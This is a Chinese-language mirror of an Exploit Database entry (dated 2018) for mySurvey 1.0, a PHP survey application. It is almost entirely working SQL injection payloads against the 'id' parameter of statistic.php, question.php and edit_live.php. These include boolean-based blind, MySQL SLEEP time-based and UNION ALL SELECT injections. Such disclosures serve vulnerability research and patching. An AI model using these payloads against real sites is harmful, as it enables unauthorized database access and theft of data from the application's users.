mySurvey 1.0 – ‘id’ SQL Injection

• Exploit Database
• 36 阅读

• 作者： AkkuS
  日期： 2018-05-26
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44766/

• # Exploit Title: mySurvey 1.0 - 'statistic.php' SQL Injection
  # Dork: N/A
  # Date: 25.05.2018
  # Exploit Author: Özkan Mustafa Akkuş (AkkuS)
  # Vendor Homepage: https://codecanyon.net/item/mysurvey/6794645
  # Version: 1.0
  # Category: Webapps
  # Tested on: Kali linux
  # Description : You can see the notifications on the left side when you
  receive new answers.
  This url works in 'statistic.php' with 'id' parameter. This 'id' parameter
  is vulnerable.
  ====================================================
  
  # PoC : SQLi :
  
  http://test.com/mySurvey/statistic.php?id=[SQLi]
  
  Parameter: id (GET)
  
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=31 AND 5291=5291
  
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: id=31 AND SLEEP(5)
  
  # /question.php Parameter: id (GET)
  
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=2 AND 2740=2740
  
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: id=2 AND SLEEP(5)
  
  Type: UNION query
  Title: Generic UNION query (NULL) - 5 columns
  Payload: id=2 UNION ALL SELECT
  NULL,NULL,CONCAT(0x716a787171,0x756d496841646d646a62785a6b7651775a4946456a465142654251536d4b4952646a58564e736166,0x716a627a71),NULL,NULL--
  SggH
  
  
  # /edit_live.php Parameter: id (GET)
  
  Type: boolean-based blind
  Title: MySQL >= 5.0 boolean-based blind - Parameter replace
  Payload: id=(SELECT (CASE WHEN (4199=4199) THEN 4199 ELSE 4199*(SELECT
  4199 FROM INFORMATION_SCHEMA.PLUGINS) END))
  
  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: id=-6620 UNION ALL SELECT
  CONCAT(0x716a6b6b71,0x706169774d7955627455656966494d4a78775a6d6e63504f7342426d5266497556767a57636e636e,0x7170786a71),NULL,NULL--
  tDPV
  
  
  
  # /statistic.php Parameter: id (GET)
  
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=31 AND 5291=5291
  
  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: id=31 AND SLEEP(5)
  
  
  ====================================================